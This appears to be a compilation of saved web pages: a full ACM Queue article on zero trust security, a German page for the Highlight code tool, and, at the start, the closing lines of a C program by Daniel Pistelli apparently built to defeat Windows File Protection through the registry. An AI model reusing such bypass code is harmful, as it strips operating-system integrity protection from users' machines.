if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
RegCloseKey\(Key\);  
  
return TRUE;  
\}  
  
void main\(\)  
\{  
if \(TrickWFP\(\) == TRUE\)  
\{  
// ok  
\}  
else  
\{  
// wrong  
\}  
\}  
  
// ------------------------------------------------------------------------  
  
I hope system security will get better... If I was working at Microsoft I
would sure help them to improve such things\! Just one thing: I haven't tested
the code on Win2k personally, but who tested told me it works.  
  
That's all folks\!  
  
**Daniel Pistelli**

# From Zero to One Hundred - ACM Queue

**Created:**| _10/29/2022 6:36:47 AM_  
---|---  
**Updated:**| _10/29/2022 6:36:47 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# From Zero to One Hundred

## Demystifying zero trust and its implications on enterprise people, process,
and technology

### Matthew Bush, Atefeh Mashatan

Changing network landscapes and rising security threats have imparted a sense
of urgency for new approaches to security. Zero trust has been proposed as a
solution to these problems, but some regard it as a marketing tool to sell
existing best practice while others praise it as a new cybersecurity standard.
This article discusses the history and development of zero trust and why the
changing threat landscape has led to a new discourse in cybersecurity.
Drivers, barriers, and business implications of zero trust provide a backdrop
for a brief overview of key logical components of a zero trust architecture
and implementation challenges.

### Enterprise Cybersecurity in a Changing Landscape

In recent years, attackers have sown the seeds to feed a growing awareness of
the flaws in common cybersecurity practices. Firewalls were applied to create
a strong perimeter around enterprise networks; however, once inside the
perimeter, an attacker can easily move through a company's intranet. With the
increasing adoption of mobile and cloud technologies, a singular perimeter is
becoming more difficult to enforce. With new attack vectors and technological
changes, perimeter-based security models are moving toward obsolescence.

Despite the prevailing attitude that most threats are external, the source of
attacks is approximately even between external attackers and insiders.1
Insiders and supposedly trusted devices have become a serious cause for
concern. Network access is being spread out among mobile devices, cloud users,
employees working from home, and IoT \(Internet of things\) devices. According
to Cisco's 2018 Annual Cybersecurity Report, the scope of attacks is also
increasing. Organizations reported a growing trend of security breaches that
affected more than 50 percent of systems.4 Larger breaches means larger sums
of money are required to handle the aftermath. Security directly affects the
bottom line, and high-level decision-makers need to take notice.

The approach wherein security teams have little input regarding high-level
business decisions is outdated. The 2017 Equifax disaster, for example, forced
the CEO, CIO, and CISO to resign. Capital One, a massive player in the U.S.
financial industry, experienced a similar situation in 2019 with more than 100
million accounts compromised, followed by a huge class-action lawsuit.5 The
scale of cyberattacks, breaches, and privacy violations is getting larger and
becoming increasingly visible to the public. Many organizations desperately
need to improve their approach to cybersecurity, or this problem will only get
worse.

In the midst of this changing cybersecurity landscape, zero trust has been
lauded as a potential solution to many of these problems. With all the hype,
though, many are unsure about what the term exactly means and how to implement
it. Where did the concept of zero trust come from, and what does it mean for
businesses today? Is zero trust a new standard or just cybersecurity done
properly?

### De-perimeterization and Zero Trust

The core ideas behind zero trust were first given major consideration in 2004.
The Jericho Forum recognized that traditional security practices were quickly
becoming inadequate as a result of increasing numbers of endpoints and device
mobility requirements.3 Firewalls, antivirus, and IDS \(intrusion detection
system\) did not consider the threat from within the network. The initial term
used was _de-perimeterization,_ which focused on strengthening internal
defenses and placing less emphasis on the external boundary. In 2007, the
Jericho Forum published "commandments" that outlined principles and practices
necessary for de-perimeterization.10 The same year, DISA \(Defense Information
Systems Agency\) and Department of Defense identified some key principles. The
security strategy called "black core" was a security model that focused on
moving away from perimeter security and focusing on individual transactions.18
While the Jericho Forum and DISA laid a lot of the groundwork for de-
perimeterization and shifting security focuses, they were not nearly as well-
recognized as zero trust is today. It was not until John Kindervag from
Forrester Research, Inc. introduced the concept of zero trust and ZTA \(zero
trust architecture\) in 2010 that these ideas truly caught on.11,12 Table 1
illustrates a timeline of significant events in the history of zero trust
conceptualization.

<img src='img/mashatan-t1.png' width='576' height='216' />

Zero trust is a broad concept that can apply to technologies, network
architectures, and security policies. It has been described as a technology-
agnostic mindset that puts security first. It requires that all actors within
a network be treated as if they could pose a threat, because they really do.
Enterprise resources should be protected individually and subjects accessing
these resources should be constantly evaluated to ensure they are not a
threat.

According to one of Forrester's seminal reports, three core concepts enable
zero trust: All resources must be accessed securely; strict access control
based on least privilege must be enforced; and all traffic must be inspected
and logged.12

The problem with this conception of zero trust is that none of these ideas is
particularly novel. In fact, they would strike most IT professionals as good
security hygiene we should have been practicing all along. Many security
professionals would agree that security should be a design goal of any
enterprise system and that insider threats are just as dangerous as any
others. This skepticism is warranted as many early explanations of zero trust
fail to capture its unique value. A more recent definition from Jason Garbis
and Jerry W. Chapman does a better job of explaining the core concepts
enabling zero trust:

A zero trust system is an integrated security platform that uses contextual
information from identity, security and IT Infrastructure, and risk and
analytics tools to inform and enable the dynamic enforcement of security
policies uniformly across the enterprise. Zero trust shifts security from an
ineffective perimeter-centric model to a resource and identity-centric model.
As a result, organizations can continuously adapt access controls to a
changing environment, obtaining improved security, reduced risk, simplified
and resilient operations, and increased business agility.9

This definition draws attention to the difference between a zero trust
_system_ and the more abstract zero trust _mindset_. This mindset should not
be confused with ZTA, which is any security architecture that enables zero
trust. A zero trust mindset emphasizes that enterprise security should be
extensible so any future additions support the goal of zero trust. Zero trust
recognizes that no two security environments are the same. For example, data
centers have unique security requirements when compared with cloud deployments
or IoT networks. NIST \(National Institute of Standards and Technology\)
Special Publication 800-207 goes into further detail about potential
implementations. It outlines multiple architecture models and technological
implementations of the core logical components.18

In 2018, Forrester updated its original ideas for zero trust with the ZTX
\(zero trust eXtended\) platform, which is intended to assist an
organization's efforts in acquiring technology and implementing ideas for
adding zero trust to legacy systems.6 It is based on seven capabilities for
mapping solutions to zero trust implementations: data; networks; people;
workloads; devices; visibility and analytics; and automation and
orchestration. This work ensures that zero trust does not stagnate and that
new ideas can be implemented within a zero trust environment.

### Why _Trust_ Zero Trust?

The intersection of PPT \(people, process, and technology\) has long been a
critical focal point for organizations evaluating their business practices.
The PPT framework was introduced in the 1960s by Harold Leavitt in _Applied
Organizational Change in Industry_.14 The original model, which consisted of
tasks, structure, people, and technology, combined tasks and structure into
the process category, resulting in PPT. Bruce Schneier brought PPT to the
forefront of the information security field in the late 1990s.19 Even though
it has been suggested that technology has become the most crucial aspect in
today's threat responses, a strong relationship remains among all aspects of
PPT. The organizational change that accompanies the transition to zero trust
can be mapped onto this framework for a more structured approach to the topic.

Zero trust is a new mindset that requires sweeping changes to be implemented
effectively. There are obviously numerous drivers and barriers influencing an
enterprise's choice to adopt zero trust, and so the question remains: Why
_trust_ zero trust?

#### People

The zero trust mindset brings several benefits that are motivating enterprises
to consider adopting it. Zero trust requires that all employees take an active
role in the security of an organization. With the increased prevalence of
remote work, it is more important than ever that these workers be made aware
of good security hygiene. An organization that commits to zero trust will
likely try to increase organizational awareness of security and drive
acceptance of zero trust.17 This will have the knock-on benefit of forcing
organizations to educate their employees about security. A more security-aware
workforce will be a natural by-product of zero trust adoption.

From a cultural perspective, zero trust fosters interdepartmental cooperation
and the adoption of IT. Since the network's systems will be geared toward
secure networking, cooperation is critical to achieve a working zero trust
security architecture. The successful integration of teams can improve network
and security extensibility and prevent finger-pointing when problems arise.5
Resources can be distributed equitably because these security and
infrastructure teams will be cooperating and no longer competing to achieve
different goals.

Not only might it improve the cooperation among existing teams, but zero trust
also enables more flexible hiring. When it comes to hiring skilled workers,
the ability of zero trust to create a superior remote work environment
relieves security fears surrounding new hires. During a time where remote work
is becoming increasingly prevalent, security and efficacy considerations may
prevent an enterprise from hiring otherwise excellent employees.20 Zero trust
can help alleviate some of these fears and makes security onboarding much
easier for remote work.

The final major people-centric driver of zero trust is management support.
Senior decision-makers can be more easily convinced to take on zero trust
initiatives because they can lead to long-term cost savings. Legacy networks
often require a multitude of vendors, technologies, and solutions to ensure
that they remain secure. More time, money, and staffing are necessary to
support these complex networks. Consolidating these controls into a more
uniform and extensible zero trust solution means that vendor, management, and
upkeep costs can be reduced more easily.6 The increasing awareness that
security is not just a cost sink and that proper implementation can save time,
money, and effort will make it much easier to garner support from upper
management for zero trust projects. A successful zero trust endeavor will aid
in digital transformation.5

#### Process

A unique opportunity to improve security posture has been presented to all
enterprises affected by the pandemic. Zero trust drives enterprises not only
to patch the holes created by transitioning existing processes, but also to
improve the security of business processes as a whole. The reimagining of
business processes will allow for better flexibility with remote work and a
security-first mindset.

The open-ended nature of zero trust will enable greater extensibility to
ensure organizations can freely adapt their security to the threat landscape.
Extensibility by design is further aided by zero trust's emphasis on data
collection and auditing. This allows enterprises to view information required
to make informed decisions about secure process adjustments.6 Collectively,
this serves to reduce future costs and increase an organization's agility.

Security processes will likely be improved in the short term as well. Many
zero trust deployments can take advantage of continuous authentication to
reduce the friction that employees experience without compromising security.
Google's BeyondCorp deployment effectively eliminated the need for a VPN
\(virtual private network\) when remotely connecting to the network.2 This
saved both time and frustration related to configuring and connecting to a
VPN. Research has found that 87 percent of security professionals who have
adopted a zero trust approach have found that it improved productivity.20

Additionally, persistent data collection on the state and behavior of an
entity allows for modeling normal entity behavior on the network. Continuous
authentication allows security checks to identify unusual behavior and quickly
respond.7 This streamlines both everyday security processes and threat
response processes.

One of the key tenets of zero trust is to protect data by collecting data. A
working zero trust deployment requires an extensive audit of organizational
resources. Knowing where different data is stored and what it is used for
improves data organization and promotes informed security decision-making.
Data can be identified and protected with varying degrees of security,
depending on its sensitivity.5 Better data management also aids privacy
initiatives, such as ensuring GDPR \(General Data Protection Regulation\)
compliance because the organization will know where its relevant data is
stored and how to protect it.

#### Technology

Zero trust also has the potential to have a significant impact on the way
enterprises use technology. Networks can be greatly simplified and split into
modular segments, reducing maintenance and upgrade costs. Rather than continue
managing the patchwork of devices and protocols across the whole network,
individual segments can be implemented one at a time. This way the entire
network need not be changed every time an upgrade is required.11

Segmentation also allows flexibility in different parts of the network. An IoT
network may require a different security configuration than a network
supporting cloud applications. Segmentation provides flexibility in
implementing individual segments without compromising the overall needs of a
zero trust network.6 Industry regulations, such as PCI DSS \(Payment Card
Industry Data Security Standard\) require only that the relevant segmented
area meets all the specific regulations. A properly segmented network means
that the focus on compliance can be limited to the segments that require it.5
This again helps to reduce overall network complexity, saves money on
compliance initiatives, and enables extensibility.

The technology that enables zero trust enables better security as well. NGFWs
\(next-generation firewalls\) allow for inspection of application-layer
traffic. Therefore, attack signatures that are otherwise invisible to
traditional firewalls can be identified and quickly dealt with.9 The damage
from attacks that do get through is limited because of network segmentation.5
Overall, technology enables zero trust to enhance threat response and mitigate
successful attacks.

Zero trust aims to combat threats by providing superior data protection. By
protecting individual resources, granular data-protection rules can be
implemented. As a result, large-scale data breaches will become less common
because data access will be predicated on a risk-based approach. The location,
value, sensitivity, and common usages of data will clearly define how it can
be accessed. Network segmentation can further reduce the risk of individual
breaches by keeping sensitive data in separate parts of the network.7

Trust through entity verification is not a new concept for cybersecurity
professionals. Zero trust simply advances the idea by requiring that trust to
be earned constantly rather than only once. BYOD \(bring your own device\)
schemes bring inherently untrustworthy devices into the network. A universal
set of trust requirements that apply to all devices makes managing security a
much easier task.7

A zero trust mindset will have numerous benefits for any organization with
significant digital assets. Properly implemented, ZTA will provide greater
visibility into networks while simultaneously improving vulnerability
management and breach detection.

Zero trust requires the inspection of all network traffic. NGFWs can inspect
application-layer traffic, making it easier than ever before to get a clear
picture of an organization's network. The added visibility helps to mitigate
or even prevent data breaches. If unusual traffic can be inspected for signs
of a breach, then it can be dealt with much faster. The FireEye M-Trends 2019
report states that the median time to discover a breach is 78 days.8 Better
network visibility means identifying vulnerabilities faster and allowing
security professionals to react before anything has a chance to occur.5

### A Word of Caution

Given the number of factors driving adoption and the numerous benefits of zero
trust, it would seem as if every organization should be rushing to implement a
ZTA. Despite vendors complaining that zero trust is a game changer, it should
not be implemented without caution. A variety of barriers and potential
downsides means that zero trust adoption must be considered carefully.

#### Organizational readiness

Before an organization commits to zero trust, it must consider cultural
compatibility. Zero trust security and network professionals are better-versed
and more likely to see the value in the systems they already work with. If the
teams responsible for implementation and operation are not convinced or run
into too many difficulties during the transition, it will not be successful.
Similarly, during implementation, user issues can diminish support for zero
trust and lead to the perception that it decreases productivity and increases
frustration.

It will be challenging for any organization to reap the benefits of zero trust
if its users do not understand its value. For example, WestJet found it
necessary to establish CoEs \(centers of excellence\) to promote learning and
cultural acceptance of zero trust.13 An enterprise that cannot provide similar
resources may struggle to get networking and security professionals on board.

Since Kindervag's original work in 2010, a few organizations have begun
implementing ZTA. A telling feature of this transition is that only recently
have complete or near-complete zero trust initiatives been evaluated. Google's
BeyondCorp is an example of a complete organizational shift that took multiple
years from start to finish.

ZTA means a substantial pivot that requires forward-thinking, executive
support, contingency plans, and commitment. Shifting to zero trust without a
plan can result in half-complete measures and more complexity for security
professionals to manage. Culture, technical bias, and emotional stake in
current security practices can be a major barrier to success with zero trust.
There may also be a misconception that zero trust is simply a marketing
buzzword.9 Therefore, organizations hoping to adopt a zero trust approach must
be prepared for a long process with both political and technical issues that
need to be resolved.

Zero trust is rarely being implemented by organizations that can start from
scratch, but in its beta version of ZTA design principles, the UK's NCSC
\(National Cyber Security Centre\) acknowledges that even a greenfield
environment requires patience and careful planning.21 This means many
organizations with established security practices and infrastructure may lack
the agility and flexibility to simply start operating with zero trust. During
the transition an enterprise may require changes to systems that cannot afford
significant downtime, or a process component may not be readily replaceable
with a zero trust counterpart.

Any organization that lacks flexibility to deal with such issues may find
itself in a difficult position. The organizational inertia that current
processes have and lack of one-to-one replacements for various process
components can make transitioning to zero trust a difficult endeavor.

#### Technological challenges

Zero trust depends on excellent data management and information literacy. To
segment a network and implement necessary controls properly, an organization
must have excellent knowledge of its own data environment. Where does traffic
need to go? Which resources are required for what roles? Where is high-
priority data located? These are just some of the questions that need to be
answered for a successful zero trust deployment.

NIST SP 800-207 suggests a complete audit of network components, data sources,
actors, and enterprise assets such as managed devices.18 An organization that
lacks visibility into these areas is much more likely to implement an
ineffective security system at great cost. At worst, it will reduce the
effectiveness of workers. Setting up systems with the requisite visibility and
analytical capability can require a large amount of money and effort, causing
a significant barrier to adoption.6

IAM \(identity and access management\) is a necessity in any proper zero trust
system. Poor management of user groups and disparate identity providers can
lead to significant difficulties while implementing zero trust. Zero trust
policies leverage identity attributes and user groups to grant access to
resources safely and reliably. Zero trust could be the catalyst for improving
IAM practices, but this still means that an enterprise needs to address these
problems if it is to proceed with zero trust.9

Assets and technology used in ZTA implementation may not be easy to migrate
from or replace without excessive cost. Service providers could be highly
specialized, meaning that if they experience issues, enterprise resources and
business functions could be disrupted. Many core components of zero trust can
be challenging to implement with current commercially available solutions.21

AI \(artificial intelligence\) and software-based agents might be used for
security purposes on an organization's networks. These agents, in turn, need
to interact with various ZTA components. How these agents authenticate
themselves is a largely unsolved problem for ZTAs. An NPE \(non-person
entity\) may have a lower bar to entry, so attackers trying to gain access to
a network may impersonate an NPE. In addition, the NPE may be an attack vector
itself that could be manipulated into performing malicious actions.3

Data stored as a part of network monitoring could also become a target for
attackers. This information would be useful for reconnaissance and planning
future attacks. The management tools used to encode access policies are also
potential points of attacks because they contain information about user and
policy data.18

PE \(policy engine\) and PA \(policy administrator\) are single points of
failure for ZTA. Should the PE become compromised by a malicious or
incompetent administrator, its rules could be changed to the point where they
disrupt operations or create vulnerabilities in the system. A compromised PA
could allow access to resources that would otherwise be off limits. To
mitigate this threat, a policy could be housed in a secure cloud environment
or exist in several locations. With this in mind, the blockchain may be a
viable solution to managing PE policy.18

Much of the traffic on the network may be opaque to layer 3 network-analysis
tools. Traffic may be coming from non-enterprise assets or simply be resistant
to monitoring. As a result, different methods must be used on encrypted
traffic, such as collecting metadata and machine-learning techniques.18

### Recommendations for a High-Risk, High-Reward Journey

Adopting a zero trust approach to cybersecurity is a high-risk, high-reward
option for an enterprise. Correctly envisioned, zero trust offers a myriad of
security improvements, an improved cultural mindset toward security, cost
savings, and a highly extensible starting point for adding further
enhancements. While the benefits are significant, it should be noted that zero
trust needs to be an ongoing effort, and transitioning to a zero trust
approach can be a long and arduous process. Recommendations for an enterprise
looking to adopt zero trust should follow the PPT template.

#### People

Given that zero trust adoption is a long process, it is important that it has
proper managerial and cultural support. A newer or more agile company may have
an easier time aligning business objectives with the zero trust approach. An
established enterprise, however, requires more effort to refocus managerial
and cultural attitudes. Google ensured that it had an effective technical
support strategy to reduce user frustration during rollout. It also engaged
with any impacted teams very early on in deployment.21 WestJet created CoEs to
enable its network and security teams to familiarize themselves with and learn
the new technology.13 These were also places where people could address
concerns and suggest solutions during deployment.

Such strategies to gain the support of stakeholders are key for adopting any
new technology or process. Lobbying important managerial positions by
reinforcing the benefits of zero trust is one way to obtain the necessary
support. Naturally, management will not be convinced unless there is a well-
constructed plan.

Getting over political barriers can be eased by clearly enumerating the
benefits of zero trust, finding an active executive champion, starting with
minor projects that will show clear benefits, or actively seeking to work with
networking or cybersecurity counterparts. Avoiding the misconception that zero
trust will destroy or replace the infrastructure and architecture that others
have worked hard to develop is a good way to ease interdepartmental and
political tensions.9

#### Process

The implementation process for zero trust is imperative for a successful
transition. NIST SP 800-207 provides an effective way to transition from a
perimeter-based network. The key steps are:

• Identifying actors who will use the system

• Identifying enterprise assets

• Identifying key processes and evaluating risks associated with executing
process

• Formulating policies for the ZTA candidate

• Identifying candidate solutions

• Planning for initial deployment and monitoring

• Expanding ZTA

The requirement to perform extensive audits to gather information is a key
takeaway. Successful zero trust enterprises need to know the impacted
stakeholders, relevant assets, and the processes that must be reimagined
during the transition. Otherwise, the organization is likely to have gaps in
its implementation that can lead to even more significant security flaws in
the future. ISACA has also identified visibility as a vital component of a
successful ZTA.17

System analysis and auditing can be extremely difficult for complex systems.
Zero trust deployments such as BeyondCorp and PagerDuty deployed zero trust
broadly, spanning multiple business areas with fine-grained access control.
They performed extensive network analysis to ensure that these efforts would
not interrupt productivity. This approach took much more time and effort than
an incremental approach would. It can also be just as effective to onboard
groups of users slowly and start with more coarse-grained access control. As
the zero trust initiative progresses, it will become easier to tighten up
these controls.9

Formulating policies, identifying potential solutions, and initial deployment
should make use of all the collected information. Logical architecture and
technological components should fit the enterprise's specific needs. The
initial deployment and monitoring further collect information about how the
implementation works and provide areas for improvement.

The final step is the most significant part of any implementation approach.
Zero trust is meant to be extensible and provide the flexibility to adapt to
changes in the security landscape. As ZTA is expanded, these steps should be
repeated to maintain a continuously informed and improving security system.
Given its novelty, zero trust networking will likely have evolving best
practices, so a flexible approach is advised.15

A significant barrier to zero trust initiatives is "analysis paralysis." Zero
trust is a significant undertaking that contains many unknowns. An enterprise
may also lack complete visibility into numerous internal factors. These
problems balloon when approval from many stakeholders requires that a zero
trust system immediately meet the same standards of existing enterprise
systems. Consequently, zero trust initiatives can move extremely slowly and
provide little to show for all of the effort. Effective milestones, close
cooperation with stakeholders, and iterative deployment are some of the
measures that can help reduce analysis paralysis.9

#### Technology

The final set of recommendations considers technology and implementation
details. Zero trust is applicable in a variety of settings, including IoT, big
data, and the cloud. The specific architecture should consider the environment
for which it is being deployed. A company that is transitioning to zero trust
may want to treat its IoT assets differently from internal applications.
Network segmentation provides the flexibility to mix and match technologies
and methods for different portions of the network. An enterprise should not
attempt a one-size-fits-all architecture but instead, build out its zero trust
network according to the requirements of different segments.

Many organizations are also subject to regulatory and compliance restraints.
To avoid a situation where an enterprise zero trust system fails to meet
compliance, it is essential to engage with external auditors and third-party
compliance specialists early on.9

Additionally, ZTA should not be implemented with a singular focus on
endpoints. An attacker able to subvert endpoints can move freely throughout a
network again. Zero trust should be implemented in a layered approach that
does not neglect network security policies. ISACA recommends implementing
network security policies and adding endpoint capabilities to ensure the
effects are complimentary.14

### Future Directions

As zero trust is deployed in increasingly complicated environments, security
becomes more imperative. _Fog computing_ occurs in a network where both users
and devices are heterogeneous. There is an added caveat that server capacity
in fog computing is far lower than in cloud computing, and as a result, zero
trust would require a lighter-weight implementation.22

Next-generation network technologies will provide numerous benefits but will
also cause more heterogeneity. Managing different types of access devices
through the centralized architecture of zero trust poses a problem that is
only beginning to be explored. SDN \(software-defined networking\) is one
solution that may fit well with zero trust networks.22 Organizations such as
Ericsson are aware that zero trust is technology-agnostic and have begun
outlining how 5G networks impact ZTA.16

Zero trust requires that networks efficiently authorize traffic and data, but
this becomes difficult as data volume and complexity increase. AI is one
potential solution. By extracting features and classifying data, an efficient
AI system could greatly increase the efficiency of a zero trust network.22

NIST is the only standards organization to provide a systematic exploration of
zero trust. Literature about holistic schemes is rather thin outside of
private organizations. As different architectures are developed for situations
involving cloud networks, IoT, and big data, it will be necessary to classify
general schemes that can achieve zero trust in different circumstances.

As a whole, zero trust brings few new security principles to bear, but more
importantly provides an approach to get the most out of what cybersecurity
professionals already consider good practice. Least privilege, strong
authentication and access control, segmentation, defense in depth, and
extensive logging and auditing are all existing practices that zero trust puts
together with a cohesive goal in mind. The goal is security by design and a
security-first mindset. Naturally, such a broad goal leaves much room for
further research and development of new technologies that fit into ZTA. As new
ways to enable zero trust emerge, security practices will only improve. As
threats increase in number and severity, you should trust zero trust, because
it includes all the things you should be doing anyway.

### What Does Zero Trust Architecture Look Like?

Although ZTA can be implemented in numerous ways, there are a few core logical
components. Figure 1 shows an example of a basic ZTA. A PE \(policy engine\)
is located before the protected resources and makes the final decision
regarding a subject's access to a given resource. A PE is paired with a PA
\(policy administrator\), which is responsible for carrying out access
decisions. It will signal to the PEP \(policy enforcement point\) that a
session be created or destroyed.

<img src='img/mashatan1.png' width='514' height='586' />

The PEP acts as the gateway and manages the actual sessions between an entity
and a resource. As these are logical components, the specific implementation
details can vary, sometimes having a single device play multiple roles.18 Many
of these components also feed data into a data-acquisition network, which
interacts with a variety of security policies, tools, and databases such as:

• Access policy

• SIEM \(security information and event management\)

• CDM \(continuous diagnostics and mitigation\) programs

• User databases

• PKI \(public-key infrastructure\)

• IDMS \(integrated database management system\)

• Compliance databases

• Activity logs

By interfacing with these and other data sources/sinks, the data-acquisition
network allows for constant evaluation of the network's status. Apart from
these core components, ZTAs can be implemented in various ways that have
distinct advantages and disadvantages. For example, the UK's NCSC \(National
Cybersecurity Centre\) suggests SSO \(single sign-on\) and token generation at
the PEP, which is broadly applicable to many architecture models despite this
not being a requirement for an effective ZTA.15 Effective architecture is a
moving target and ideas will change over time to support the core tenets of
zero trust.

#### References

1\. Bendovschi, A. 2015. Cyber-Attacks – Trends, Patterns and Security
Countermeasures. _Procedia Economics and Finance_ 28, 24–31;
https://doi.org/10.1016/S2212-5671\(15\)01077-1.

2\. Beske, C. M., Peck, J., Saltonstall, M. 2017. Migrating to BeyondCorp:
maintaining productivity while improving security. Login 42 \(2\). Google
Research; https://research.google/pubs/pub46134/.

3\. Bleech, N. 2005. _What is Jericho Forum?_ Visioning White Paper, Jericho
Forum; https://collaboration.opengroup.org/jericho/vision\_wp.pdf.

4\. Cisco. 2018. _Annual Cybersecurity Report,_ vol. 8, p. 19;
https://www.cisco.com/c/dam/m/hu\_hu/campaigns/security-hub/pdf/acr-2018.pdf.

5\. Cunningham, C., Pollard, J., Holmes, D. 2019. The eight business and
security benefits of zero trust. Forrester;
https://www.forrester.com/report/The-Eight-Business-And-Security-Benefits-Of-
Zero-Trust/RES134863.

6\. Cunningham, C. 2019. _The Zero Trust eXtended \(ZTX\) ecosystem_.
Forrester.

7\. Embrey, B. 2020. The top three factors driving zero trust adoption.
_Computer Fraud & Security 2020 _\(9\), 13–15;
https://doi.org/10.1016/S1361-3723\(20\)30097-X.

8\. FireEye. 2019. M-Trends 2019; https://content.fireeye.com/m-trends/rpt-m-
trends-2019.

9\. Garbis, J., Chapman, J. W. 2021. _Zero Trust Security,_ 1st edition.
Apress.

10\. Jericho Forum. 2007. _Jericho Forum Commandments_ ;
https://collaboration.opengroup.org/jericho/commandments\_v1.2.pdf.

11\. Kindervag, J., Balaouras, S., Coit, L. 2010. _Build security into your
network's DNA: the zero trust network architecture_ , 1–26. Forrester;
https://www.virtualstarmedia.com/downloads/Forrester\_zero\_trust\_DNA.pdf.

12\. Kindervag, J., Balaouras, S., Coit, L. 2010. No more chewy centers:
introducing the zero trust model of information security. Forrester;
https://media.paloaltonetworks.com/documents/Forrester-No-More-Chewy-
Centers.pdf.

13\. Kindervag, J., Mak, K. 2015. Case study: WestJet redefines its security
with Forrester's zero trust model. Forrester;
https://www.forrester.com/report/case-study-westjet-redefines-its-security-
with-forrester-s-zero-trust-model/RES122205?objectid=RES122205.

14\. Leavitt, H. J., March, J. G. 1962. _Applied Organizational Change in
Industry: Structural, Technological and Humanistic Approaches_. Carnegie
Institute of Technology, Graduate School of Industrial Administration;
https://books.google.ca/books?id=P\_KZNQAACAAJ.

15\. National Cybersecurity Centre. 2020._Mobile device guidance: network
architectures_ ; https://www.ncsc.gov.uk/collection/mobile-device-
guidance/infrastructure/network-architectures-for-remote-access.

16\. Olsson, J., Shorov, A., Abdelrazek, L., Whitefield, J. 2021. Zero trust
and 5G—realizing zero trust in networks. _Ericsson Technology Review_ \#05;
https://www.ericsson.com/49a20a/assets/local/reports-papers/ericsson-
technology-review/docs/2021/zero-trust-and-5g.pdf.

17\. Pironti, J. P. 2020. Five key considerations when adopting a zero trust
security architecture. @ISACA 7; https://www.isaca.org/resources/news-and-
trends/newsletters/atisaca/2020/volume-7/five-key-considerations-when-
adopting-a-Zero Trust-security-architecture.

18\. Rose, S., Borchert, O., Mitchell, S., Connelly, S. 2020. Zero trust
architecture, NIST SP 800-207;
https://csrc.nist.gov/publications/detail/sp/800-207/final.

19\. Schneier, B. 2013. People, process, and technology. Schneier on Security;
https://www.schneier.com/blog/archives/2013/01/people\_process.html.

20\. Sheridan, O. 2021. The state of zero trust in the age of fluid working.
_Network Security 2021_\(2\), 15–17;
https://doi.org/10.1016/S1353-4858\(21\)00019-2.

21\. United Kingdom National Cyber Security Centre. Zero-trust-architecture.
Github; https://github.com/ukncsc/zero-trust-architecture.

22\. Yan, X., Wang, H. 2020. Survey on zero trust network security. In
_Artificial Intelligence and Security_ , ed. X. Sun, J. Wang, E. Bertino,
50–60. _Communications in Computer and Information Science_ 1252\. Springer
Singapore; https://doi.org/10.1007/978-981-15-8083-3\_5.

**Matthew Bush** is a research assistant at Toronto Metropolitan University's
Cybersecurity Research Lab. He is pursuing a master of science in computer
science after completing a bachelor of commerce in business technology
management. His research interests include managing privacy, security, and
ethical concerns stemming from Internet of Things \(IoT\), big data, and
machine learning.

**Atefeh Mashatan** is a Canada Research chair and an associate professor at
the Ted Rogers School of Information Technology Management and the founder and
director of the Cybersecurity Research Lab at Toronto Metropolitan University
\(formerly Ryerson University\). Her research is focused on the development of
novel cybersecurity designs based on emerging technologies. She investigates
challenges and opportunities brought forward by these new technologies and how
they change the threat landscape of cybersecurity. Mashatan's expertise at the
frontlines of the global cybersecurity field was recognized by _SC Magazine_
in 2019, when she was named one of the top five Women of Influence in Security
globally.

Copyright © 2022 held by owner/author. Publication rights licensed to ACM.

<img src='img/q stamp_small.jpg' width='26' height='45' />  
  
_Originally published in Queue vol. 20, no. 4_ —  
see this item in the ACM Digital Library

* * *
Related:

Mache Creeger - **The Rise of Fully Homomorphic Encryption**  
Once commercial FHE is achieved, data access will become completely separated
from unrestricted data processing, and provably secure storage and computation
on untrusted platforms will become both relatively inexpensive and widely
accessible. In ways similar to the impact of the database, cloud computing,
PKE, and AI, FHE will invoke a sea change in how confidential information is
protected, processed, and shared, and will fundamentally change the course of
computing at a foundational level.

Kelly Shortridge, Ryan Petrich - **Lamboozling Attackers: A New Generation of
Deception**  
The goal of this article is to educate software leaders, engineers, and
architects on the potential of deception for systems resilience and the
practical considerations for building deception environments. By examining the
inadequacy and stagnancy of historical deception efforts by the information
security community, the article also demonstrates why engineering teams are
now poised to become significantly more successful owners of deception
systems.

Atefeh Mashatan, Douglas Heintzman - **The Complex Path to Quantum
Resistance**  
There is a new technology on the horizon that will forever change the
information security and privacy industry landscape. Quantum computing,
together with quantum communication, will have many beneficial applications
but will also be capable of breaking many of today's most popular
cryptographic techniques that help ensure data protection?in particular,
confidentiality and integrity of sensitive information. These techniques are
ubiquitously embedded in today's digital fabric and implemented by many
industries such as finance, health care, utilities, and the broader
information communication technology \(ICT\) community.

Edlyn V. Levine - **The Die is Cast**  
The future of hardware security will evolve with hardware. As packaging
advances and focus moves to beyond Moore's law technologies, hardware security
experts will need to keep ahead of changing security paradigms, including
system and process vulnerabilities. Research focused on quantum hacking is
emblematic of the translation of principles of security on the physical attack
plane for emerging communications and computing technologies. Perhaps the
commercial market will evolve such that the GAO will run a study on
compromised quantum technologies in the not-too-distant future.

* * *
© ACM, Inc. All Rights Reserved.

# Highlight : code & syntax highlighting : by André Simon

**Created:**| _11/6/2010 6:15:10 PM_  
---|---  
**Updated:**| _11/6/2010 6:15:10 PM_  
**Author:**| __  
**Tags:**| _programming awesome blogging_  
  
  
**highlight 3.1**| **Highlight** konvertiert Quellcode in formatierten Text
mit Syntax-Hervorhebung.

  * Farbige Ausgabe in HTML, XHTML, RTF, TeX, LaTeX, SVG, BBCode und XML
  * Unterstützt 160 Programmiersprachen
  * Enthält 80 Farbstile
  * Erkennung eingebetteter Sprachen
  * Syntaxbeschreibungen und Farbstile sind Lua-Skripte
  * Plug-In Schnittstelle zur Anpassung von Syntax und Farbausgabe
  * Als CLI, GUI und Bibliothek verfügbar
  * Plattform-unabhängig

|

  * Handbuch
  * Wiki
  * Screenshots
  * Flash Animation
  * Demo
  * ChangeLog
  * Download
  * <img src='img/flag-en.png' alt='flag en' /> English documentation

  
---|---|---  
<img src='img/af_icon.png' width='128' height='128' alt='Ansifilter Logo' />  
**ansifilter 1.4**| **Ansifilter** verarbeitet Text mit ANSI Escape-Sequenzen.

  * Kommandosequenzen können gefiltert oder ausgewertet werden
  * Farbige Ausgabe in HTML und RTF
  * Bietet "tail -f" \- Funktion unter Windows
  * Plattform-unabhängig \(CLI, GUI\)

|

  * Handbuch mit Screenshots
  * Download

# Cascaded integrator-comb filter - Wikipedia, the free encyclopedia

